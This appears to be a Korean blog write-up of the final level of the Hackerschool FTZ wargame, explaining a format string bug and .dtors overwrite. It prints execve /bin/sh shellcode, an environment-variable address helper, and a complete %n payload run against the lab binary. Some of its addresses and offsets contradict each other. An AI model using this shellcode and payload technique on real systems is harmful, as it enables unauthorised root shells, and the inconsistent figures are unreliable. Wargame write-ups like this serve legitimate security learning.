본문 바로가기

[Pwnable] 해커스쿨 FTZ

[해커스쿨 FTZ] level20

드 디 어ㅓㅓㅓㅓ 마지막 level20 이다!

 

로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.

코드를 분석해보자.

 

흠 뭔가 이상하다. 

bleh 를 80바이트로 할당했는데 79바이트만 입력받는다. => bof 공격으로 ret 값 변조가 불가능하다.

 

그리고 printf 함수에서 %s 인자 없이 매개변수를 받는다 => 포맷스트링버그 문제이다.

 

#Format String Bug란

Format String Bug(FSB)의 취약점은 Format String ( %s, %x ,,,와 같은 C언어의 변환 명세) 의 버그를 이용해 메모리를 바꿀 수 있다는 것이다.

 

 

위 사진처럼 A 라는 일반 문자와 16 진수를 출력하는 %x (Format String)를 입력하면 %x 에 의해

메모리를 읽어 16진수로 나타내준다.

 

일단 이 문제를 풀려면 ⓐprintf 함수의 소멸자인 .DTORS 주소와 ⓑ환경변수를 통해 쉘코드의 주소를 알아내야 한다.

 

# .DTORS란

보통 FSB에서 많이 사용한다.

gcc는 컴파일 할 때 .ctors 와 .dtors 의 두 영역을 생성한다.

.ctors 는 main() 전에 실행되고(생성자)

.dtors 는 main() 종료 후에 실행된다. (그래서 소멸자임)

 

그래서 .dtors 함수가 실행되기 전에 (main이 끝나기 전) 쉘코드 주소를 덮어씌우면 공격 성공이다.

 

우선 attackme 파일을 tmp 디렉토리로 옮겨서 .DTORS 주소를 알아내보자.

우리가 원하는 __DTOR_END__ 의 주소는 0x08049598 인걸 알아냈다.

 

이제 환경변수를 이용해 쉘코드의 주소를 알아내자.

아래의 명령어들을 순서대로 입력한다.

 

1. $export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

 

3. $gcc getenv.c -o getenv

 

4. $./getenv

 

쉘코드의 주소는 0xbffffc8b 이다.

 

이제 main 이 끝나기 전의 주소인 0x08049598 에 쉘코드 주소인 0xbffffc8b를 씌우면 된다.

 

하지만 0xbffffc8d의 정수값이 x86시스템에서 지정할 수 없는 크기 때문에 %n을 이용해

반반씩 나누어 덮어야 한다.

 

0xfc8d (64653(10)) 는 0x08049598에 넣고

0xbfff (49151(10)) 는 0x0804959a에 넣는다.

 

그리고

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를

0xfc8d에서 뺀다.

=> 64653 - 40 = 64613

 

또 %n이 앞자릿수를 계산하므로 40 + 64613 = 64653을  0xbfff에서도 뺀다.

그런데 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서

50034가 된다.

 

결론 : 

"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"

 

이를 바탕으로 페이로드를 만들면 아래와 같다.

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​

 

짜잔

 

FTZ 풀이는 이제 끄ㅡㅡㅡㅡㅌ

 

'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level19  (0) 2020.03.12
[해커스쿨 FTZ] level18  (0) 2020.03.12
[해커스쿨 FTZ] level17  (0) 2020.03.12
[해커스쿨 FTZ] level16  (0) 2020.03.12
[해커스쿨 FTZ] level15  (0) 2020.03.12